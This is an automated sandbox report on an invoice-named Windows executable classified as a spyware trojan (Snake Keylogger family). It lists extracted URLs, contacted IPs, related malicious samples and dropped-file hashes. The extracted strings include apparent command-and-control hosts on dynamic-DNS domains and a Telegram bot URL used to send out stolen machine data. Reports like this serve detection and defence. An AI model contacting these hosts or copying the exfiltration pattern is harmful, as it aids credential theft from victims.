https://api.telegram.org/bot	Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037A83000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.office.com/lB	Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037B8C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.usercontent.google.com/	Factura Honorarios 2024-10.exe, 00000004.00000003.2448957898.000000000750D000.00000004.00000020.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.2991384453.0000000007505000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://checkip.dyndns.org	Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.00000000379A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038AC3000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038D1C000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037AA7000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C19000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038A75000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	Factura Honorarios 2024-10.exe, 00000000.00000000.1732761508.0000000000409000.00000008.00000001.01000000.00000003.sdmp, Factura Honorarios 2024-10.exe, 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000000.2285548964.0000000000409000.00000008.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038AC3000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038D1C000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037AA7000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C19000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038A75000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037A83000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore?hl=en	Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037B60000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037B91000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://varders.kozow.com:8081	Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.00000000379A1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://aborters.duckdns.org:8081	Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.00000000379A1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.com/	Factura Honorarios 2024-10.exe, 00000004.00000002.2991384453.0000000007498000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive.usercontent.google.com/Zc	Factura Honorarios 2024-10.exe, 00000004.00000003.2448957898.000000000750D000.00000004.00000020.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.2991384453.0000000007505000.00000004.00000020.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000003.2799657598.0000000007530000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anotherarmy.dns.army:8081	Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.00000000379A1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038A7C000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038A51000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C20000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038BF5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=enlB	Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037B5B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org	Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037A83000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037A5B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:928100%0D%0ADate%20a	Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.0000000037A83000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038A7C000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038A51000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C20000.00000004.00000800.00020000.00000000.sdmp, Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038BF5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Factura Honorarios 2024-10.exe, 00000004.00000002.3011994404.00000000379A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Factura Honorarios 2024-10.exe, 00000004.00000002.3013216101.0000000038C67000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
142.250.185.193	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
188.114.97.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
216.58.206.46	drive.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545394
Start date and time:	2024-10-30 14:17:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Factura Honorarios 2024-10.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/10@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 193 Number of non-executed functions: 125
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Factura Honorarios 2024-10.exe

Simulations

Behavior and APIs

Time	Type	Description
09:19:26	API Interceptor	13851x Sleep call for process: Factura Honorarios 2024-10.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	Fernissagerne.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Quality stuff.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Pedido de Cota#U00e7#U00e3o -RFQ20241029.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	z59IKE.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	Proforma-Invoice#018879TT0100..doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	come.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	Fernissagerne.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	JUSTIFICANTE PAGO FRAS OCTUBRE 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	PG567777878-H677889978-6G89O9I4567778.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	INVOICE.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.96.3
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	ADJUNTA.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	File07098.PDF.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
api.telegram.org	Fernissagerne.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	JUSTIFICANTE PAGO FRAS OCTUBRE 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	9RgE5uOJwX.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	app64.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	file.exe	Get hash	malicious	WhiteSnake Stealer	Browse	149.154.167.220
	ADJUNTA.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
checkip.dyndns.com	Fernissagerne.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	JUSTIFICANTE PAGO FRAS OCTUBRE 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	PG567777878-H677889978-6G89O9I4567778.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	INVOICE.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	158.101.44.242
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	ADJUNTA.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	File07098.PDF.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Fernissagerne.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	JUSTIFICANTE PAGO FRAS OCTUBRE 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	9RgE5uOJwX.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	app64.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	file.exe	Get hash	malicious	WhiteSnake Stealer	Browse	149.154.167.220
	ADJUNTA.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	Stadigheder43.exe	Get hash	malicious	FormBook, GuLoader	Browse	104.21.5.125
	http://1lyiqb.recodifyphone.net/#john.smith@ups.com	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.21.25.216
	Fernissagerne.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	JUSTIFICANTE PAGO FRAS OCTUBRE 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	PG567777878-H677889978-6G89O9I4567778.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	https://web1.zixmail.net/s/e?b=nbcbanking&m=ABAMge5ZjJnSt1fFBYAoMznp&em=shawna%40lakesuperiormarketing.com	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://wesiakkaernten.fibery.io/@public/forms/gBNXdAWE	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	188.114.96.3
	VfKk5EmvwW.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188.114.96.3
UTMEMUS	Fernissagerne.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	ADJUNTA.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Quality stuff.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Request For Quotation-RFQ097524.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Pedido de Cota#U00e7#U00e3o -RFQ20241029_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Pedido de Cota#U00e7#U00e3o -RFQ20241029.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Fernissagerne.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	JUSTIFICANTE PAGO FRAS OCTUBRE 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	PG567777878-H677889978-6G89O9I4567778.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	INVOICE.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	ADJUNTA.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	File07098.PDF.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Payment Slip_SJJ023639#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Request For Quotation-RFQ097524.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Request For Quotation-RFQ097524_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Request For Quotation-RFQ097524.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
3b5074b1b5d032e5620f69f9f700ff0e	Fernissagerne.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	JUSTIFICANTE PAGO FRAS OCTUBRE 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	https://storage.googleapis.com/inbound-mail-attachments-prod/5e015eec-2063-4653-b543-a2fdc4c2725e?GoogleAccessId=distribution-controller-prod@inbound-mail-attachments.iam.gserviceaccount.com&Expires=1761388993&Signature=Oqe%2BJFHcrdG7YCkrE3C6Zz6OLCYLhBuVvPPylkjCYGmey41qx66XjqVVSGCLAMzo5SzdjLX9iaWGDKggE5%2BSVyTp%2B4Pp9hiCYEhCbzJzRObttu74xvBHPG1HUvGwyhKfE3KbJMo6s3eIKayqjRRl9ive1ntsdNaFkXskMlbkDDitCjrgmc09BMh3GNgCZmS%2B%2F6W4Hs1%2FBX1s3JEpbIGaBotrI7KKcK%2Bk0eqEvy1FwgCCaSUDTZl1b6RyonBWqWQVoOT9UDFVSH5CfVKF4DfFfka0acdeYb2Y34WyRy8cCZlWDImJo52Hcg2wugU%2BJragJQbGJ2SdK6G4yy3Ak%2BGX%2FQ%3D%3D	Get hash	malicious	Unknown	Browse	149.154.167.220
	9RgE5uOJwX.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	Biocon-In-Service Agreement.pdf	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	149.154.167.220
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.220
	app64.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	INQ-40152.scr	Get hash	malicious	Unknown	Browse	149.154.167.220
	Shipping documents 00039984849900044800.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.220
	z1Transaction_ID_REF2418_cmd.bat	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	Stadigheder43.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.185.193 216.58.206.46
	Forreste.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.185.193 216.58.206.46
	Ppto.24265.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.185.193 216.58.206.46
	Fernissagerne.exe	Get hash	malicious	Snake Keylogger	Browse	142.250.185.193 216.58.206.46
	JUSTIFICANTE PAGO FRAS OCTUBRE 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.193 216.58.206.46
	tdnPqG0jmS.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.185.193 216.58.206.46
	Micra.exe	Get hash	malicious	GuLoader	Browse	142.250.185.193 216.58.206.46
	Micra.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.185.193 216.58.206.46
	Viridine84.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.185.193 216.58.206.46
	ADJUNTA.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.193 216.58.206.46

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll	Shipping documents 00039984849900044800.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Fa24c148.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	rFa24c148.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Remittance Copy For Advance Payment PO _PDF.exe	Get hash	malicious	FormBook, GuLoader	Browse
	PO OCTOBER 2024 _ PDF.exe	Get hash	malicious	Remcos, GuLoader	Browse
	Remittance Copy For Advance Payment PO _PDF.exe	Get hash	malicious	FormBook, GuLoader	Browse
	POP.exe	Get hash	malicious	GuLoader	Browse
	POP.exe	Get hash	malicious	GuLoader	Browse
	SecuriteInfo.com.Win32.Evo-gen.20658.28793.exe	Get hash	malicious	GuLoader	Browse
	SecuriteInfo.com.Win32.Evo-gen.20658.28793.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\Modspiller.Ste

Download File

Process:	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe
File Type:	data
Category:	dropped
Size (bytes):	276104
Entropy (8bit):	7.708412749532793
Encrypted:	false
SSDEEP:	6144:r2QGOk8BSlPC28P7Txsz2Xj9LlQZIdWNjaH8:aTIgCz71saXZaIdWNG8
MD5:	E08C3C50A8AEC617F402A748802414D4
SHA1:	D9322522880B6F02250E239DEE7A0DA3F875B58D
SHA-256:	CD617012D8D3EDD5EF184470B3DA284B0C4C2BAB07623FA2E99BDDB5176EB8E6
SHA-512:	189CB9112A2A5CD8783F73C8453D0E8F6D99348CC301955B7F2E83791CC15BCE2036A440B18F352576CEB69CE99F6B8ABD7A22D6316BE851D68939A85D7177E3
Malicious:	false
Reputation:	low
Preview:	.c...t......................44444.......ooo....n.............FF........W..--------...$$................................................nn................}.{................................................::.....?.O.(......QQ._...............................&&..MM. ..........kk.h....]].....5.......{{...!!!....^^......LLL........eeee....MMMMM.....__............uu......C.1..........C..``...................I..................4.......................{.<<...!..........Q.......x.....J....XX.........%....c.C..II.#................ .........VVV....UU.......................................77.................-...,.Y..............''.......DD...SS.....D........55.99..............#####..................................................................................```...............CCC......$.''.[[[.....YYY.....8....^^^....................................................1.b..G........j..........v...!!....a......77777777........ .......nn...............////...........y..........................E.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\Pjaskeriers.fra

Download File

Process:	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe
File Type:	xBase index, root pointer 0x1c00, free node pointer 0xb80000, key length 0, index options (0)
Category:	dropped
Size (bytes):	299228
Entropy (8bit):	1.249221133762155
Encrypted:	false
SSDEEP:	768:iEhlBRm38m+Q9aP+nwlYRjI+e1HkKqNAoPG9HLB+dJr/0LeyCWkqPH6xZhUcxgXR:iUkLarxzoO6TM6ezDFDfoi
MD5:	1D30995077F12DE7AD1A3BD9AC80363B
SHA1:	57645C3F0F256022C6C84AEC38066AECF41D6CD5
SHA-256:	70BFF890E295019B22AD529D689D87197CBF4E147F428875D363A2BAA57D5466
SHA-512:	9E20F9FECDF95F061AEB57F874604DC43E52F75BB579F715D2817747E4E1C9AF38258F95F6DC6987AB9E6BE90E1CBD7FCD80509F8BCDF92005C2A9A1BCD141F2
Malicious:	false
Reputation:	low
Preview:	..........................l.........................................*....................................y...'.......;...............................b.:.......................................:....................................................................................................................................Y.........s........................A...................................9........................................................................;........K............./.........................................................4.............................................................(.........................U............................................................I..........................z..............W....>........!.......B.............................$....................h....................S.....S.........................>........................................................P.....T......................u............................................3..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\Unfleeing\cornetcies.txt

Download File

Process:	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	422
Entropy (8bit):	4.2975998060774545
Encrypted:	false
SSDEEP:	6:7JqLVJKNAfvvFAV3Wo+jfcwP5L95PCBRLMwAaGmoiuTh8K6/oCpXis1nBuAOHLcr:SJJHFARWo+777eMwDiYnBfIHLEzH
MD5:	D4C819A65BA47F7736FD974CA29492F1
SHA1:	275D7758404D63D4B60053891FDCA09B1386ADF2
SHA-256:	949AEBA08C7C808751F6076067DDDA2DC269CF1CF2176B54243EB2DEF6FB2210
SHA-512:	7B236A8D956D4677A1F06F63D31FCB7B9A4DF9945C3C0812FA583825E612F01D9122CC815C007D6B8E47CF9FE3AAC7BE845D74976A0E864A71E36310100D70F0
Malicious:	false
Reputation:	low
Preview:	funktionerende monact skrmbrt unpawn uddistanceret..vrdihftet kejsersnit hasselndden dybflte septicizations,taktart baldpatedness corey overtness disillusionist uses,skrtorsdagene besprjtningernes fedora trffernes brahui,chedite prodromes udgift venomization photodisintegration allochiria milieustyrelsen..skoleskema bevrterbevillinger plenarty bestrygningen scooping unfearingly counterconversion corrigenda directoral..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\Unfleeing\dmt.roi

Download File

Process:	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe
File Type:	data
Category:	dropped
Size (bytes):	284270
Entropy (8bit):	1.2554061981935738
Encrypted:	false
SSDEEP:	768:scS/h94O9/1/ySR3IrEd3kC+AFOtLIerbRbpUnxLwUdwVSBEGVTrUb6m4Hhl0BZa:x4EFTWkC+AkcMdQVM4HA+5Fel8Tf
MD5:	A996E580D9B9CE218E7506A87B7D5FC6
SHA1:	59A450F75283BF0B6F1B7F72272870EC04F28B1C
SHA-256:	62E9FC9F4C5E800031CB09956B0AAC1075034983F21B3CD6409A788F7E9DE32A
SHA-512:	83CF2FD1BD4B3171764BD45DF516160576E5B7AED5B63FE7496E804B81DC64FEE01D9A31BE9C9A3353C8F06934BB2AB4503FC0A90E4D66F5363149E0D09BB626
Malicious:	false
Reputation:	low
Preview:	...........@...................................\|......v......................N............5.....................d...........................................................7........5......................Q..............................................h.....................................................................S.................._............U......g.qx................q..................%.............................................................................................H......................................................................E....................p....q.............................................................................................e....................................................................z...d.................B...d......................................................a......X.k......y................4................x..........................c.')............BQ............u..........H.........n...............7.....................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\Unfleeing\hisset.tjr

Download File

Process:	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe
File Type:	data
Category:	dropped
Size (bytes):	313818
Entropy (8bit):	1.2515356470223786
Encrypted:	false
SSDEEP:	768:wbZHQ+9l0m6F4361gpBHoZ/ABUmOynflXU7SQ9XYjfbBnMJG1ATLchBRWEPosS0a:kStSjOWttJ1hWtqWO0BqwuZjoff/
MD5:	3EF36F591B9193FAA0E716084BEA5A1C
SHA1:	7E7C3BD5F6B443E2902CAE200A9C49FA23CB5819
SHA-256:	A33165526974D2A7FDB9C13E345221FD628599A7571CCD336CCE1ADA944248BF
SHA-512:	48DD573C8BF2F18AF8F845F42EE9A5C358A1DAB1C58B645CF818D29A8E6DCC9ED9BCE570115C19609EED4118AB02DEC9F06FEF5D245F81A9C56B52946449F2A4
Malicious:	false
Reputation:	low
Preview:	......................................................O.................................2................................................................................................................+................................................................;.......9....................g.............=.......................................n..............G.......Y............'............m..T.....................=...................m..J.....................".......................................#........Z............................H..................................g.....T......................................................................................................................<.................^..............................d.....W.........................6.............&.........................................w.....................Q..1........_...................................T.E....................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\Unfleeing\juleriernes.lia

Download File

Process:	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe
File Type:	data
Category:	dropped
Size (bytes):	449025
Entropy (8bit):	1.2537920149786719
Encrypted:	false
SSDEEP:	1536:mlq4o7tMrMLBrXgXEZIjtsKSmO/QnawFM:uoKM9+Rjq3m4UZF
MD5:	6B590A9D3D02DB762E5EF9A748C85069
SHA1:	84E51E691A40276DE8B4CE85CB9A3E549DE143B6
